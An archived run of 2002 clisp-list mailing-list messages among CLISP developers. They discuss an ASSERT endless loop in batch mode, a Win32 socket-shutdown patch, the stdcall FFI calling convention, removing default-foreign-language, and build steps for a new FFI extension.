out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020421170602.DVBH18349.out009.verizon.net@gnu.org>; Sun, 21 Apr 2002 12:06:02 -0500 To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop References: <15549.34878.794642.34679@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15549.34878.794642.34679@honolulu.ilog.fr> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 21 10:07:01 2002 X-Original-Date: 21 Apr 2002 13:06:01 -0400 > * In message <15549.34878.794642.34679@honolulu.ilog.fr> > * On the subject of "[clisp-list] assert goes into an endless loop" > * Sent on Wed, 17 Apr 2002 16:35:42 +0200 (CEST) > * Honorable Bruno Haible writes: > > With clisp-2.26, > > $ clisp -x '(assert (>= -1 0))' > > goes into an endless loop. arguably, this is similar to '(loop)' :-) BTW, why does CLISP use invoke-restart (instead of invoke-restart-interactively) in appease-cerror? this breaks things like '(appease-cerrors (assert x (x)))'. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Profanity is the one language all programmers know best. From bley@wh2-19.st.uni-magdeburg.de Mon Apr 22 05:39:33 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zd6P-0003mZ-00 for ; Mon, 22 Apr 2002 05:39:29 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 17F259F73; Mon, 22 Apr 2002 14:39:29 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15556.1153.541896.924734@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop In-Reply-To: <3CBF6CF6.9E9DFCD1@freenet.de> References: <3CBE42C0.4389D81A@freenet.de> <15550.31734.554560.970867@wh2-19.st.uni-magdeburg.de> <3CBF6CF6.9E9DFCD1@freenet.de> X-Mailer: VM 7.03 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 05:40:03 2002 X-Original-Date: Mon, 22 Apr 2002 14:39:29 +0200 >>>>> "lin8080" == lin8080 writes: lin8080> Claudio Bley schrieb: >> "lin8080" == lin8080 writes: lin8080> With clisp-2.28 on win98: >> OK, but what about: clisp -x '(assert (>= -1 0))' ??? >> On Linux i686, GNU CLISP 2.28 it indeed creates an endless >> loop: >> WARNING: (>= -1 0) must evaluate to a non-NIL value. Retry >> WARNING: (>= -1 0) must evaluate to a non-NIL value. Retry ... lin8080> Would you type in 100x Retry? No, I wouldn't. I just wanted to point out that you did not do what Bruno asked for and of course obtained a different behavior. I don't know whether it is the same isssue Bruno was talking about as he said "it creates an endless loop". lin8080> How should the Interpreter react? IMHO, if it is set in stone by the hyperspec that a "correctable" error is signalled there should be a chance to actually correct the error and the interpreter should wait for user input. Otherwise if the interpreter is meant to be run in some sort of non-interaction mode the interpreter should signal the error and just exit without retrying to evaluate the test-form. Claudio From samuel.steingold@verizon.net Mon Apr 22 08:56:18 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zgAq-0008Il-00 for ; Mon, 22 Apr 2002 08:56:16 -0700 Received: from gnu.org ([151.203.30.83]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020422155613.QWJB13286.out019.verizon.net@gnu.org>; Mon, 22 Apr 2002 10:56:13 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] broken http inspect server on win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 08:57:03 2002 X-Original-Date: 22 Apr 2002 11:56:11 -0400 > * In message > * On the subject of "[clisp-list] broken http inspect server on win32" > * Sent on Wed, 17 Apr 2002 18:32:29 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Hi, > > Sam Steingold wrote: > > missed this. please try the patch: > > local void low_close_socket (object stream, object handle) { > > begin_system_call(); > > + #ifdef WIN32_NATIVE > > + if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); } > > + #endif > > if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); } > > end_system_call(); > > } > > The define is SD_BOTH (cf Arseny's e-mail), not SHUT_*. SHUT_* is the POSIX standard; I define them in win32.d. please try the appended patch. keep-alive was disabled since it requires computing the content-length in characters which is hard to achieve due to CR/LF &c. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Murphy's Law was probably named after the wrong guy. --- inspect.lisp.~1.13.~ Wed Jan 16 17:32:49 2002 +++ inspect.lisp Mon Apr 22 11:48:34 2002 @@ -559,6 +559,7 @@ (when (> debug 0) (format t "~s: connection: ~s (keep-alive: ~s)~%" 'http-command (subseq line 12) keep-alive)) + #+discard-keep-alive (when keep-alive (setq keep-alive nil) (when (> debug 0) From samuel.steingold@verizon.net Mon Apr 22 09:08:37 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zgMm-00023H-00 for ; Mon, 22 Apr 2002 09:08:36 -0700 Received: from gnu.org ([151.203.30.83]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020422160834.QSXY22619.out011.verizon.net@gnu.org>; Mon, 22 Apr 2002 11:08:34 -0500 To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop References: <15549.34878.794642.34679@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15549.34878.794642.34679@honolulu.ilog.fr> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 09:09:10 2002 X-Original-Date: 22 Apr 2002 12:08:36 -0400 > * In message <15549.34878.794642.34679@honolulu.ilog.fr> > * On the subject of "[clisp-list] assert goes into an endless loop" > * Sent on Wed, 17 Apr 2002 16:35:42 +0200 (CEST) > * Honorable Bruno Haible writes: > > $ clisp -x '(assert (>= -1 0))' > goes into an endless loop. this is fixed in the CVS now. > This makes it very risky to use ASSERT in batch mode scripts. you don't want to use ASSERT in batch scripts. ASSERT is an interactive idiom. > It'd better for the script to abort in such a case, instead of going > into an endless loop. actually, I would argue that it is better to invoke an interactive debugger in such a situation, at least in some cases. Right now CLISP will go into batch mode with -c and -x and exec options, thus preventing ASSERT loops. I think this should be optional -- e.g., an -interactive or -no-batch option should override this batch mode. what do you think? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Small languages require big programs, large languages enable small programs. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 22 09:26:57 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zgeT-0005L7-00 for ; Mon, 22 Apr 2002 09:26:53 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 22 Apr 2002 16:15:15 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 22 Apr 2002 16:16:29 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Please test stdcall calling convention Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 09:27:18 2002 X-Original-Date: Mon, 22 Apr 2002 16:16:22 +0200 Hi, > Bruno said that stdcall is not used anymore and may be removed. > I decided against removing. Could somebody please report whether the code for :language stdc-stdcall actually works? What are libraries that require the STDCALL convention? I tried the following, after seeing in one of Reini Urban's files: > (ffi-defun-dll "sleep" "Sleep" "(L)" "kernel32.dll") The following example requires my dynload facility. [5]> (setq *k32* (user::foreign-library "kernel32.dll")) # [7]> (setq sleep-address (resolve-foreign-name "Sleep" *k32* 'ffi:foreign-function)) # [10]> (setq sleepf (foreign-address-function "Sleep" sleep-address (ffi::parse-c-type '(ffi:c-function (:arguments (delay ffi:ulong)) (:return-type nil) (:language :stdc-stdcall))) )) # [14]> (funcall sleepf 100) ; seems to wait 1 second [16]> (setq sleepweirdf (foreign-address-function "Sleep" sleep-address (ffi::parse-c-type '(ffi:c-function (:arguments (delay ffi:ulong)) (:return-type nil) (:language :stdc))) )) [18]> (funcall sleepweirdf 1000) ; seems to wait for 1 second as well I.e., both :language :stdc and :stdc-stdcall seem to work!?! -- At least with this trivial testcase OF WHICH I DON'T EVEN KNOW WHAT LINKAGE it requires! I know next to nothing about the MS-Windoze API). Both cases should *not* work (at least, the C stack may be corrupt with one of them, even if it doesn't show immediately). [21]> (describe sleepf) # is a foreign function of foreign type (FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| FFI:ULONG :IN :NONE))) (:RETURN-TYPE NIL :NONE) (:LANGUAGE :STDC-STDCALL)). [22]> (describe sleepweirdf) # is a foreign function of foreign type (FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| FFI:ULONG :IN :NONE))) (:RETURN-TYPE NIL :NONE) (:LANGUAGE :STDC)). Help welcome, Jorg Hohle. From haible@ilog.fr Mon Apr 22 09:46:59 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zgxs-0000MJ-00 for ; Mon, 22 Apr 2002 09:46:57 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g3MGfNB12506 for ; Mon, 22 Apr 2002 18:41:24 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002042218344025964 ; Mon, 22 Apr 2002 18:34:40 +0200 Received: from honolulu.ilog.fr ([172.17.4.199]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g3MGYc207950; Mon, 22 Apr 2002 18:34:38 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA24645; Mon, 22 Apr 2002 18:33:07 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15556.15171.614374.749257@honolulu.ilog.fr> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop In-Reply-To: References: <15549.34878.794642.34679@honolulu.ilog.fr> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 09:47:18 2002 X-Original-Date: Mon, 22 Apr 2002 18:33:07 +0200 (CEST) Sam writes: > > $ clisp -x '(assert (>= -1 0))' > > goes into an endless loop. > > this is fixed in the CVS now. Thank you. > > This makes it very risky to use ASSERT in batch mode scripts. > > you don't want to use ASSERT in batch scripts. > ASSERT is an interactive idiom. If you say ASSERT is interactive, then CHECK-TYPE, CCASE, CTYPECASE etc would also be "interactive" and forbidden in batch scripts. But this is against one of the principles of the CL condition system. Namely, the separation between the code which signals an exception and the code which handles it. The idea behind this separation is to reuse some code from a non-interactive application in an interactive application, and vice versa, without changing the code. Only the top-level signal handlers differ between the two kinds of applications, and this should be enough to implement the distinction between the interactive and non-interactive case. > actually, I would argue that it is better to invoke an interactive > debugger in such a situation, at least in some cases. > ... > e.g., an -interactive or -no-batch > option should override this batch mode. > what do you think? There are indeed cases where one wants to debug non-interactive scripts. A -interactive-debug option would be useful for this case. But by default, -x and exec options should be non-interactive, IMO. Bruno From don-sourceforge@isis.cs3-inc.com Mon Apr 22 09:59:15 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zh9m-0002CF-00 for ; Mon, 22 Apr 2002 09:59:15 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g3MGtRM24738 for clisp-list@lists.sourceforge.net; Mon, 22 Apr 2002 09:55:27 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15556.16511.517302.732976@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop In-Reply-To: <15556.15171.614374.749257@honolulu.ilog.fr> References: <15549.34878.794642.34679@honolulu.ilog.fr> <15556.15171.614374.749257@honolulu.ilog.fr> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 10:00:02 2002 X-Original-Date: Mon, 22 Apr 2002 09:55:27 -0700 Is the problem that continuable errors are continued in batch mode? It does seem useful to continue past some such errors in that case. Perhaps there could be a limited number of such continues? In fact it might be useful to specify the limit in a batch program. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 22 10:06:12 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zhGS-0003Qs-00 for ; Mon, 22 Apr 2002 10:06:08 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 22 Apr 2002 17:01:08 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 22 Apr 2002 17:02:19 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] FFI extensions - work in progress - you may try it out! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 10:07:05 2002 X-Original-Date: Mon, 22 Apr 2002 17:02:16 +0200 Hi, Peter Wood wrote: > I have a patch for configure and makemake.in which autocreate rules > for building the extensions which you have posted to the list. Once The patch is only interim. These FFI extensions are not to stay as modules. They ought to become part of CLISP, i.e. completely merged into foreign.d|lisp/subr.d/constsym.d/lispbibl.d/.... Using a module is just an easy way to add extensions, as I wrote in my article. Using them, I don't need to recompile all of CLISP. > this mark_invalid_foreign problem sorted out, I will post the patch to > the list, and hopefully more people will be able to build and report > back. Thanks a lot! Please add to foreign.d in the interim (until I rewrite ugly code): # (FFI:MARK-INVALID-FOREIGN foreign-address) LISPFUNN(mark_invalid_foreign,1) { value1=T; mv_count=1; } > I am using cvs Clisp (downloaded Friday evening, CET), and > sysdll-1.7.c, sysdll-1.3.h, and dynload.d. Great. autoconf stuff for the defines these files need (HAVE__DLERROR, HAVE_SHL_LOAD etc.) would be great for final steps! These should be taken from XEmacs CVS. Thanks, Jorg Hohle. From samuel.steingold@verizon.net Mon Apr 22 10:11:30 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zhLZ-0004Vm-00 for ; Mon, 22 Apr 2002 10:11:25 -0700 Received: from gnu.org ([151.203.30.83]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020422171113.RHWE5495.out020.verizon.net@gnu.org>; Mon, 22 Apr 2002 12:11:13 -0500 To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop References: <15549.34878.794642.34679@honolulu.ilog.fr> <15556.15171.614374.749257@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15556.15171.614374.749257@honolulu.ilog.fr> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 10:12:06 2002 X-Original-Date: 22 Apr 2002 13:11:16 -0400 > * In message <15556.15171.614374.749257@honolulu.ilog.fr> > * On the subject of "Re: [clisp-list] assert goes into an endless loop" > * Sent on Mon, 22 Apr 2002 18:33:07 +0200 (CEST) > * Honorable Bruno Haible writes: > > Sam writes: > > > actually, I would argue that it is better to invoke an interactive > > debugger in such a situation, at least in some cases. > > ... > > e.g., an -interactive or -no-batch > > option should override this batch mode. > > what do you think? > > There are indeed cases where one wants to debug non-interactive > scripts. A -interactive-debug option would be useful for this case. okay, let it be `-interactive-debug' (long but clear, the CL way :-) BTW, ASSERT and CHECK-TYPE use PROMPT-FOR-NEW-VALUE which goes through *QUERY-IO* and not *DEBUG-IO*. Are you sure this is correct? (I bet it's a typo :-) > But by default, -x and exec options should be non-interactive, IMO. of course (-c is there too!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 22 10:41:48 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zhow-0001Hj-00 for ; Mon, 22 Apr 2002 10:41:46 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 22 Apr 2002 18:04:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 22 Apr 2002 18:06:11 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI)) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 10:42:08 2002 X-Original-Date: Mon, 22 Apr 2002 18:06:04 +0200 Hi, Sam Steingold wrote: > if the calling convention (default-foreign-language) is so crucial, > let's make the :language argument required, This is an acceptable solution. However, it goes against the "support lazyness" principle. And here, I believe meeting an acceptable degree of lazyness can be achieved by providing a reasonable default. + :language :C was a reasonable default back when the FFI was written. + :language :STDC is a reasonable default these days. - unknown defaulting behaviour based on a non-closed-over default-language special variable is not a reasonable default, as I tried to explain. It's calling for crashes. To be more precise: the one default should not change anymore in future (compatibility). If somebody finds this unacceptable (why accept change now when it should be forbidden in future?) then the only resort I see is make :language a required argument. Requiring :language will break some code (not all, because presumably many use DEF-C-CALL-OUT instead of DEF-CALL-OUT). Probably very few, if any. My argument in favour of :C -> :STDC was similar in that it presumably also shouldn't break much existing code, and possibly even match current use and thus actual function declarations better. > even when default-foreign-language is there. I don't understand. There's no need for default-foreign-language anymore when :language is required? That's why I said I cannot see any value in DEFAULT-FOREIGN-LANGUAGE. Let'S kill it. > > o Do not deprecate DEF-C-CALL-OUT. That's what 99% or programmers > > have been using 95% of time. > > It consisely expresses the function's signature without > > affecting arguments. Think about the subtle difference between: > > (def-stdcall-call-out foo > > (:arguments ((callback (c-function (:arguments #))))) > > (:return-type int)) > > and > > (default-foreign-language :stdcall) > > (def-call-out bar > > (:arguments ((callback (c-function (:arguments #))))) > > (:return-type int)) > > your example does not use def-call-out! I don't understand. There's def-call-out bar above. > the default-foreign-language is used not only in > def-call-out, but also in c-function. Sure. All calls to PARSE-C-FUNCTION and PARSE-C-TYPE in foreign1.lisp are affected, at compile-time *and* at run-time. But what is the point? > in your example, the problem could have been resolved by issuing a > default-foreign-language form in top-level What top-level do you mean? + interactive read-eval-print top-level? + file top-level? The latter is not enough. Perhaps I didn't make my point clear: My example produces a crash (or at least an incorrect calling convention) when the run-time value (when calling regexec) of the user's DEFAULT-LANGUAGE and the programmer's one differ. Using DEFAULT-FOREIGN-LANGUAGE in some .lisp file does not help for run-time. Neither is it load-time that I'm talking about. By not allowing control over run-time, DEFAULT-FOREIGN-LANGUAGE induces crashes on machines which differ from the programmer's one (as seen too much on M$-Win*). This is not acceptable. Therefore, I repeat: let's kill DEFAULT-FOREIGN-LANGUAGE. Whether :language is made required or defaults to :C (status quo) or :stdc is *another* topic. All three choices (require, :C, :StdC) I find acceptable (and favour :stdC). Regards, Jorg Hohle. From samuel.steingold@verizon.net Mon Apr 22 11:45:41 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ziom-0008Kw-00 for ; Mon, 22 Apr 2002 11:45:40 -0700 Received: from gnu.org ([151.203.30.83]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020422184539.WOHJ8115.out016.verizon.net@gnu.org>; Mon, 22 Apr 2002 13:45:39 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI)) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 52 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 11:46:02 2002 X-Original-Date: 22 Apr 2002 14:45:42 -0400 Joerg, you are not using the "reply" feature of your mailer (or it is broken), which makes it hard to read your messages: usually, when someone quotes too little, I can hit "^" in gnus and see the parent message in the thread. it does not work with your messages, alas. > * In message > * On the subject of "[clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI))" > * Sent on Mon, 22 Apr 2002 18:06:04 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > > the default-foreign-language is used not only in > > def-call-out, but also in c-function. > Sure. All calls to PARSE-C-FUNCTION and PARSE-C-TYPE in foreign1.lisp > are affected, at compile-time *and* at run-time. But what is the point? the result of loading a file (compiled or not) should not depend on the load environment. (e.g., *package*, *foreign-language* &c). this is accomplished by ensuring that the macroexpansion of DEF-CALL-* contains a :LANGUAGE arg, whether it was supplied or not. this is not done now, and it is a bug. I will try to fix it soon. > My example produces a crash (or at least an incorrect calling > convention) when the run-time value (when calling regexec) of the > user's DEFAULT-LANGUAGE and the programmer's one differ. Using > DEFAULT-FOREIGN-LANGUAGE in some .lisp file does not help for > run-time. Neither is it load-time that I'm talking about. at run time the *foreign-language* should be irrelevant and incorporated in the FOREIGN-FUNCTION object (the calling convention is specific for each function, right?) > By not allowing control over run-time, DEFAULT-FOREIGN-LANGUAGE > induces crashes on machines which differ from the programmer's one (as > seen too much on M$-Win*). This is not acceptable. if you are saying that the run-time value of *foreign-language* can influence the behavior of an existing FOREIGN-FUNCTION, we have a bug in the calling conventions of FOREIGN-FUNCTIONs. > Therefore, I repeat: let's kill DEFAULT-FOREIGN-LANGUAGE. let's kill *package* too and require package prefixes for all symbols in all files. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! MS Windows: error: the operation completed successfully. From peter.wood@worldonline.dk Mon Apr 22 13:02:31 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16zk17-00028x-00 for ; Mon, 22 Apr 2002 13:02:29 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 55A09B567 for ; Mon, 22 Apr 2002 22:02:25 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3MJlr321247; Mon, 22 Apr 2002 21:47:53 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020422214753.A21227@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="9jxsPFA5p3P2qPhR" Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] try the new ffi! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 22 13:03:12 2002 X-Original-Date: Mon, 22 Apr 2002 21:47:53 +0200 --9jxsPFA5p3P2qPhR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Attached is a package containing some patches which enable an easy build of Joerg Hoehle's new FFI for Clisp. The package also contains the files Joerg has posted to the list, so all you need to do is the following: 1) Get CVS Clisp at sourceforge. 2) cd clisp/ 3) tar xvzf ffi-ext.tar.gz 4) sh do-patches Then do a normal build, just adding '--with-ffi-ext' to your normal ./configure options. There is a README in the package, which repeats the above instructions, and also describes what the patches are, and lists the files included in the package. When the new clisp has built, you can try: ./lisp.run -q -M lispinit.mem [1]> (load #"../src/ffi-ext-examples/dynex.lisp") The new FFI is extremely cool, IMO. If you experience problems, or have suggestions, comments, send 'em to the list! Have fun. Regards, Peter --9jxsPFA5p3P2qPhR Content-Type: 